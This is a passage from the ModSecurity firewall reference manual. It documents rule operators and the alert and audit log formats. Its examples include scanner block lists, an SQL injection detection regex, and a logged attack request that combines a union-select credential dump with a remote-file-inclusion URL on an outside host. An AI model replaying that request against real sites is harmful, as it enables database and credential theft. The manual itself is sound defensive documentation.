<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@beginsWith GET</emphasis>" t:none,deny,status:403
|
|
SecRule REQUEST_ADDR "^(.*)\.\d+$" deny,status:403,capture,chain
|
|
SecRule ARGS:gw "!<emphasis>@beginsWith %{TX.1}</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>contains</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a string
|
|
comparison and returns true if the parameter value is found anywhere in
|
|
the input. Macro expansion is performed so you may use variable names
|
|
such as %{TX.1}, etc.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@contains .php</emphasis>" t:none,deny,status:403
|
|
SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain
|
|
SecRule ARGS:ip "!<emphasis>@contains %{TX.1}</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>endsWith</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a string
|
|
comparison and returns true if the parameter value is found at the end
|
|
of the input. Macro expansion is performed so you may use variable names
|
|
such as %{TX.1}, etc.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@endsWith HTTP/1.1</emphasis>" t:none,deny,status:403
|
|
SecRule ARGS:route "!<emphasis>@endsWith %{REQUEST_ADDR}</emphasis>" t:none,deny,status:403</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>eq</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a numerical
|
|
comparison and stands for "equal to."</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS_NAMES "<emphasis>@eq</emphasis> 15"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>ge</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a numerical
|
|
comparison and stands for "greater than or equal to."</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS_NAMES "<emphasis>@ge</emphasis> 15"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>geoLookup</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator looks up various
|
|
data fields from an IP address or hostname. The results will be captured
|
|
in the <literal moreinfo="none">GEO</literal> collection.</para>
|
|
|
|
<para>You must provide a database via <literal
|
|
moreinfo="none">SecGeoLookupDb</literal> before this operator can be
|
|
used.</para>
|
|
|
|
<para>See the <literal moreinfo="none">GEO</literal> variable for an
|
|
example and more information on various fields available.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>gt</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a numerical
|
|
comparison and stands for "greater than."</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS_NAMES "<emphasis>@gt</emphasis> 15"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>inspectFile</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Executes the external
|
|
script/binary given as parameter to the operator against every file
|
|
extracted from the request. As of v2.5, if the supplied filename is not
|
|
absolute it is treated as relative to the directory in which the
|
|
configuration file resides. Also as of v2.5 if the filename is
|
|
determined to be a Lua script (based on its extension) the script will
|
|
be processed by the internal engine. As such it will have full access to
|
|
the ModSecurity context.</para>
|
|
|
|
<para>Example of using an external binary/script:</para>
|
|
|
|
<programlisting format="linespecific"># Execute external script to validate uploaded files.
|
|
SecRule FILES_TMPNAMES "<emphasis>@inspectFile</emphasis> /opt/apache/bin/inspect_script.pl"</programlisting>
|
|
|
|
<para>Example of using Lua script:</para>
|
|
|
|
<programlisting>SecRule FILES_TMPNANMES "@inspectFile <emphasis>inspect.lua</emphasis>"</programlisting>
|
|
|
|
<para>Script <filename>inspect.lua</filename>:</para>
|
|
|
|
<programlisting>function main(filename)
|
|
-- Do something to the file to verify it. In this example, we
|
|
-- read up to 10 characters from the beginning of the file.
|
|
local f = io.open(filename, "rb");
|
|
local d = f:read(10);
|
|
f:close();
|
|
|
|
-- Return null if there is no reason to believe there is ansything
|
|
-- wrong with the file (no match). Returning any text will be taken
|
|
-- to mean a match should be trigerred.
|
|
return null;
|
|
end</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>le</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a numerical
|
|
comparison and stands for "less than or equal to."</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS_NAMES "<emphasis>@le</emphasis> 15"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>lt</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a numerical
|
|
comparison and stands for "less than."</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS_NAMES "<emphasis>@lt</emphasis> 15"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>pm</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Phrase Match operator. This
|
|
operator uses a set based matching engine (Aho-Corasick) for faster
|
|
matches of keyword lists. It will match any one of its arguments
|
|
anywhere in the target value.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@pm</emphasis> WebZIP WebCopier Webster WebStripper SiteSnagger ProWebWalker CheeseBot" "deny,status:403</programlisting>
|
|
|
|
<para>The above would deny access with 403 if any of the words matched
|
|
within the User-Agent HTTP header value.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>pmFromFile</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Phrase Match operator. This
|
|
operator uses a set based matching engine (Aho-Corasick) for faster
|
|
matches of keyword lists. This operator is the same as
|
|
<literal>@pm</literal> except that it takes a list of files as
|
|
arguments. It will match any one of the phrases listed in the file(s)
|
|
anywhere in the target value.</para>
|
|
|
|
<para>Notes:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>The contents of the files should be one phrase per line. End
|
|
of line markers will be stripped from the phrases, however,
|
|
whitespace will not be trimmed from phrases in the file. Empty lines
|
|
and comment lines (beginning with a '#') are ignored.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>To allow easier inclusion of phrase files with rulesets,
|
|
relative paths may be used to the phrase files. In this case, the
|
|
path of the file containing the rule is prepended to the phrase file
|
|
path.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@pm</emphasis> /path/to/blacklist1 blacklist2" "deny,status:403</programlisting>
|
|
|
|
<para>The above would deny access with 403 if any of the patterns in the
|
|
two files matched within the User-Agent HTTP header value. The
|
|
<literal>blacklist2</literal> file would need to be placed in the same
|
|
path as the file containing the rule.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>rbl</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Look up the parameter in the RBL
|
|
given as parameter. Parameter can be an IPv4 address, or a
|
|
hostname.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REMOTE_ADDR "<emphasis>@rbl</emphasis> sc.surbl.org"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>rx</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Regular expression operator.
|
|
This is the default operator, so if the "@" operator is not defined, it
|
|
is assumed to be rx.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@rx</emphasis> nikto"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Regular expressions are handled by the PCRE library (<ulink
|
|
url="http://www.pcre.org">http://www.pcre.org</ulink>). ModSecurity
|
|
compiles its regular expressions with the following settings:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>The entire input is treated as a single line, even when there
|
|
are newline characters present.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>All matches are case-sensitive. If you do not care about case
|
|
sensitivity you either need to implement the <literal
|
|
moreinfo="none">lowercase</literal> transformation function, or use
|
|
the per-pattern<literal moreinfo="none">(?i)</literal>modifier, as
|
|
allowed by PCRE.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>The <literal moreinfo="none">PCRE_DOTALL</literal> and
|
|
<literal moreinfo="none">PCRE_DOLLAR_ENDONLY</literal> flags are set
|
|
during compilation, meaning a single dot will match any character,
|
|
including the newlines and a <literal moreinfo="none">$</literal>
|
|
end anchor will not match a trailing newline character.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>streq</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a string
|
|
comparison and returns true if the parameter value matches the input
|
|
exactly. Macro expansion is performed so you may use variable names such
|
|
as %{TX.1}, etc.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS:foo "!<emphasis>@streq bar</emphasis>" t:none,deny,status:403
|
|
SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain
|
|
SecRule REQUEST_HEADERS:Ip-Address "!<emphasis>@streq %{TX.1}</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>validateByteRange</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Validates the byte range used in
|
|
the variable falls into the specified range.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARG:text "<emphasis>@validateByteRange</emphasis> 10, 13, 32-126"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>You can force requests to consist only of bytes from a certain
|
|
byte range. This can be useful to avoid stack overflow attacks (since
|
|
they usually contain "random" binary content). Default range values are
|
|
0 and 255, i.e. all byte values are allowed. This directive does not
|
|
check byte range in a POST payload when
|
|
<literal>multipart/form-data</literal> encoding (file upload) is used.
|
|
Doing so would prevent binary files from being uploaded. However, after
|
|
the parameters are extracted from such request they are checked for a
|
|
valid range.</para>
|
|
|
|
<para>validateByteRange is similar to the ModSecurity 1.X
|
|
SecFilterForceByteRange Directive however since it works in a rule
|
|
context, it has the following differences:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>You can specify a different range for different
|
|
variables.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>It has an "event" context (id, msg....)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>It is executed in the flow of rules rather than being a built
|
|
in pre-check.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>validateDTD</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator requires the
|
|
request body to be processed as XML.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
|
|
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
|
|
phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML
|
|
SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345
|
|
SecRule XML "<emphasis>@validateDTD /path/to/apache2/conf/xml.dtd</emphasis>,id:12345"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>validateSchema</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator requires the
|
|
request body to be processed as XML.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
|
|
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
|
|
phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML
|
|
SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345
|
|
SecRule XML "<emphasis>@validateSchema /path/to/apache2/conf/xml.xsd</emphasis>,id:12345"</programlisting>
|
|
|
|
<para>This operator requires request body to be processed as XML.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>validateUrlEncoding</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Verifies the encodings used in
|
|
the variable (if any) are valid.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS "<emphasis>@validateUrlEncoding</emphasis>"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>URL encoding is an HTTP standard for encoding byte values within a
|
|
URL. The byte is escaped with a % followed by two hexadecimal values
|
|
(0-F). This directive does not check encoding in a POST payload when the
|
|
<literal>multipart/form-data</literal> encoding (file upload) is used.
|
|
It is not necessary to do so because URL encoding is not used for this
|
|
encoding.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>validateUtf8Encoding</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Verifies the variable is a valid
|
|
UTF-8 encoded string.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS "<emphasis>@validateUtf8Encoding</emphasis>"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>UTF-8 encoding is valid on most web servers. Integer values
|
|
between 0-65535 are encoded in a UTF-8 byte sequence that is escaped by
|
|
percents. The short form is two bytes in length.</para>
|
|
|
|
<para>check for three types of errors:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>Not enough bytes. UTF-8 supports two, three, four, five, and
|
|
six byte encodings. ModSecurity will locate cases when a byte or
|
|
more is missing.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid encoding. The two most significant bits in most
|
|
characters are supposed to be fixed to 0x80. Attackers can use this
|
|
to subvert Unicode decoders.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Overlong characters. ASCII characters are mapped directly into
|
|
the Unicode space and are thus represented with a single byte.
|
|
However, most ASCII characters can also be encoded with two, three,
|
|
four, five, and six characters thus tricking the decoder into
|
|
thinking that the character is something else (and, presumably,
|
|
avoiding the security check).</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>verifyCC</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator verifies a given
|
|
regular expression as a potential credit card number. It first matches
|
|
with a single generic regular expression then runs the resulting match
|
|
through a Luhn checksum algorithm to further verify it as a potential
|
|
credit card number.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS "<emphasis>@verifyCC \d{13,16}</emphasis>" \
|
|
"phase:2,sanitiseMatched,log,auditlog,pass,msg:'Potential credit card number'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>within</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a string
|
|
comparison and returns true if the input value is found anywhere within
|
|
the parameter value. Note that this is similar to
|
|
<literal>@contains</literal>, except that the target and match values
|
|
are reversed. Macro expansion is performed so you may use variable names
|
|
such as %{TX.1}, etc.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_METHOD "!<emphasis>@within get,post,head</emphasis>" t:lowercase,deny,status:403
|
|
|
|
SecAction "pass,setvar:'tx.allowed_methods=get,post,head'"
|
|
SecRule REQUEST_METHOD "!<emphasis>@within %{tx.allowed_methods}</emphasis>" t:lowercase,deny,status:403</programlisting>
|
|
</section>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Data Formats</title>
|
|
|
|
<para>This section documents the various data formats used by
|
|
ModSecurity.</para>
|
|
|
|
<section>
|
|
<title>Alerts</title>
|
|
|
|
<para>Below is an example of a ModSecurity alert entry. It is always
|
|
contained on a single line but we've broken it here into multiple lines
|
|
for readability.</para>
|
|
|
|
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
|
|
against "REQUEST_PROTOCOL" required. [id "960034"] [msg "HTTP protocol version
|
|
is not allowed by policy"] [severity "CRITICAL"] [uri "/"] [unique_id
|
|
"PQaTTVBEUOkAAFwKXrYAAAAM"]</programlisting>
|
|
|
|
<para>Each alert entry begins with the engine message:</para>
|
|
|
|
<programlisting>Access denied with code 505 (phase 1). Match of "rx ^HTTP/(0\\\\.9|1\\\\.[01])$"
|
|
against "REQUEST_PROTOCOL" required.</programlisting>
|
|
|
|
<para>The engine message consists of two parts. The first part tells you
|
|
whether ModSecurity acted to interrupt transaction or rule processing.
|
|
If it did nothing the first part of the message will simply say
|
|
"Warning". If an action was taken then one of the following messages
|
|
will be used:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><emphasis>Access denied with code %0</emphasis> - a response
|
|
with status code %0 was sent.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Access denied with connection close</emphasis> -
|
|
connection was abruptly closed.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Access denied with redirection to %0 using status
|
|
%1</emphasis> - a redirection to URI %0 was issued using status
|
|
%1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Access allowed</emphasis> - rule engine stopped
|
|
processing rules (transaction was unaffected).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Access to phase allowed</emphasis> - rule engine
|
|
stopped processing rules in the current phase only. Subsequent
|
|
phases will be processed normally. Transaction was not affected by
|
|
this rule but it may be affected by any of the rules in the
|
|
subsequent phase.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>Access to request allowed</emphasis> - rule engine
|
|
stopped processing rules in the current phase. Phases prior to
|
|
request execution in the backend (currently phases 1 and 2) will not
|
|
be processed. The response phases (currently phases 3 and 4) and
|
|
others (currently phase 5) will be processed as normal. Transaction
|
|
was not affected by this rule but it may be affected by any of the
|
|
rules in the subsequent phase.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>The second part of the engine message explains
|
|
<emphasis>why</emphasis> the event was generated. Since it is
|
|
automatically generated from the rules it will be very technical in
|
|
nature talking about operators and their parameters and give you insight
|
|
into what the rule looked like. But this message cannot give you insight
|
|
into the reasoning behind the rule. A well-written rule will always
|
|
specify a human-readable message (using the <literal>msg</literal>
|
|
action) to provide further clarification.</para>
|
|
|
|
<para>The format of the second part of the engine message depends on
|
|
whether it was generated by the operator (which happens on a match) or
|
|
by the rule processor (which happens where there is not a match, but the
|
|
negation was used):</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>@beginsWith s- String match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@contains - String match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@containsWord - String match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@endsWith - String match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@eq - Operator EQ matched %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@ge - Operator GE matched %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@geoLookup - Geo lookup for %0 succeeded at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@inspectFile - File %0 rejected by the approver script %1:
|
|
%2</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@le - Operator LE matched %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@lt - Operator LT matched %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@rbl - RBL lookup of %0 succeeded at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@rx - Pattern match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@streq - String match %0 at %1.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@validateByteRange - Found %0 byte(s) in %1 outside range:
|
|
%2.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@validateDTD - XML: DTD validation failed.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@validateSchema - XML: Schema validation failed.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@validateUrlEncoding</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>Invalid URL Encoding: Non-hexadecimal digits used at
|
|
%0.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid URL Encoding: Not enough characters at the end of
|
|
input at %0.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@validateUtf8Encoding</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>Invalid UTF-8 encoding: not enough bytes in character at
|
|
%0 [offset %1].</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid UTF-8 encoding: invalid byte value in character at
|
|
%0 [offset %1].</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid UTF-8 encoding: overlong character detected at %0
|
|
[offset %1].</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid UTF-8 encoding: use of restricted character at %0
|
|
[offset %1].</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Invalid UTF-8 encoding: decoding error at %0 [offset
|
|
%1].</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>@verifyCC - CC# match %0 at %1 [offset %2].</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>Messages not related to operators:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>When <literal>SecAction</literal> directive is processed -
|
|
Unconditional match in SecAction.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>When <literal>SecRule</literal> does not match but negation is
|
|
used - Match of %0 against %1 required.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>The metadata fields are always placed at the end of the alert
|
|
entry. Each metadata field is a text fragment that consists of an open
|
|
bracket followed by the metadata field name, followed by the value and
|
|
the closing bracket. What follows is the text fragment that makes up the
|
|
<literal>id</literal> metadata field.</para>
|
|
|
|
<programlisting>[id "960034"]</programlisting>
|
|
|
|
<para>The following metadata fields are currently used:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para><literal>id</literal> - Unique rule ID, as specified by the
|
|
<literal>id</literal> action.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>rev</literal> - Rule revision, as specified by the
|
|
<literal>rev</literal> action.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>msg</literal> - Human-readable message, as specified
|
|
by the <literal>msg</literal> action.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>severity</literal> - Event severity, as specified by
|
|
the <literal>severity</literal> action.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>unique_id</literal> - Unique event ID, generated
|
|
automatically.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>uri</literal> - Request URI.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>logdata</literal> - contains transaction data
|
|
fragment, as specified by the <literal>logdata</literal>
|
|
action.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<section>
|
|
<title>Alerts in Apache</title>
|
|
|
|
<para>Every ModSecurity alert conforms to the following format when it
|
|
appears in the Apache error log:</para>
|
|
|
|
<programlisting>[Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] ModSecurity: ALERT_MESSAGE</programlisting>
|
|
|
|
<para>The above is a standard Apache error log format. The
|
|
"ModSecurity:" prefix is specific to ModSecurity. It is used to allow
|
|
quick identification of ModSecurity alert messages when they appear in
|
|
the same file next to other Apache messages.</para>
|
|
|
|
<para>The actual message (<literal>ALERT_MESSAGE</literal> in the
|
|
example above) is in the same format as described in the
|
|
<emphasis>Alerts</emphasis> section.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Alerts in Audit Log</title>
|
|
|
|
<para>Alerts are transported in the <literal>H</literal> section of
|
|
the ModSecurity Audit Log. Alerts will appear each on a separate line
|
|
and in the order they were generated by ModSecurity. Each line will be
|
|
in the following format:</para>
|
|
|
|
<programlisting>Message: ALERT_MESSAGE</programlisting>
|
|
|
|
<para>Below is an example of an entire <literal>H</literal> section
|
|
(followed by the <literal>Z</literal> section terminator):</para>
|
|
|
|
<programlisting>--c7036611-H--
|
|
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
|
|
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
|
|
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
|
|
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
|
|
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
|
|
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
|
|
Stopwatch: 1199881676978327 2514 (396 2224 -)
|
|
Producer: ModSecurity v2.x.x (Apache 2.x)
|
|
Server: Apache/2.x.x
|
|
|
|
--c7036611-Z--</programlisting>
|
|
</section>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Audit Log</title>
|
|
|
|
<para>ModSecurity records one transaction in a single audit log file.
|
|
Below is an example:</para>
|
|
|
|
<programlisting>--c7036611-A--
|
|
[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 80.68.80.233 80
|
|
--c7036611-B--
|
|
GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username,char(77),
|
|
password,char(77),email_address,char(77),info,char(77),user_level,char(77))/**/from
|
|
/**/eb_members/**/where/**/userid=1/*http://kamloopstutor.com/images/banners/on.txt?
|
|
HTTP/1.1
|
|
TE: deflate,gzip;q=0.3
|
|
Connection: TE, cslose
|
|
Host: www.example.com
|
|
User-Agent: libwww-perl/5.808
|
|
|
|
--c7036611-F--
|
|
HTTP/1.1 404 Not Found
|
|
Content-Length: 223
|
|
Connection: close
|
|
Content-Type: text/html; charset=iso-8859-1
|
|
|
|
--c7036611-H--
|
|
Message: Warning. Match of "rx ^apache.*perl" against "REQUEST_HEADERS:User-Agent" required. [id "990011"]
|
|
[msg "Request Indicates an automated program explored the site"] [severity "NOTICE"]
|
|
Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b(?:(?:length|count|top)\\b.{1,100}
|
|
?\\bfrom|from\\b.{1,100}?\\bwhere)|.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_
|
|
(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at ARGS:c. [id "950001"]
|
|
[msg "SQL Injection Attack. Matched signature: union select"] [severity "CRITICAL"]
|
|
Apache-Error: [file "/tmp/buildd/apache2-2.x.x/build-tree/apache2/server/core.c"] [line 3505] [level 3]
|
|
File does not exist: /var/www/EvilBoard_0.1a
|
|
Stopwatch: 1199881676978327 2514 (396 2224 -)
|
|
Producer: ModSecurity v2.x.x (Apache 2.x)
|
|
Server: Apache/2.x.x
|
|
|
|
--c7036611-Z--
|
|
</programlisting>
|
|
|
|
<para>The file consist of multiple sections, each in different format.
|
|
Separators are used to define sections:</para>
|
|
|
|
<programlisting>--c7036611-A--</programlisting>
|
|
|
|
<para>A separator always begins on a new line and conforms to the
|
|
following format:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>Two dashes</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Unique boundary, which consists from several hexadecimal
|
|
characters.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>One dash character.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Section identifier, currently a single uppercase
|
|
letter.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Two trailing dashes.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>Refer to the documentation for <literal>SecAuditLogParts</literal>
|
|
for the explanation of each part.</para>
|
|
</section>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Miscellaneous Topics</title>
|
|
|
|
<para></para>
|
|
|
|
<section>
|
|
<title>Impedance Mismatch</title>
|
|
|
|
<para>Web application fireballs have a difficult job trying to make
|
|
sense of data that passes by, without any knowledge of the application
|
|
and its business logic. The protection they provide comes from having an
|
|
independent layer of security on the outside. Because data validation is
|
|
done twice, security can be increased without having to touch the
|
|
application. In some cases, however, the fact that everything is done
|
|
twice brings problems. Problems can arise in the areas where the
|
|
communication protocols are not well specified, or where either the
|
|
device or the application do things that are not in the specification.
|
|
In such cases it may be possible to design payload that will be
|
|
interpreted in one way by one device and in another by the other device.
|
|
This problem is better known as Impedance Mismatch. It can be exploited
|
|
to evade the security devices.</para>
|
|
|
|
<para>While we will continue to enhance ModSecurity to deal with various
|
|
